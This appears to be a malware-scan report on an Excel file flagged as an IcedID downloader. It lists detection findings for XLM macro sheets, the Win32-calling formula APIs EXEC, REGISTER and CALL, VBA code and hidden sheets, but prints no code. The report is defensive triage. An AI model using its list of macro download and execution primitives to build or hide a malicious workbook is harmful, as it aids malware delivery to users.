ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
-
Excel 4.0 macro sheet (4 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Dangerous XLM formula APIs: FORMULA, REGISTER, GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present

Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
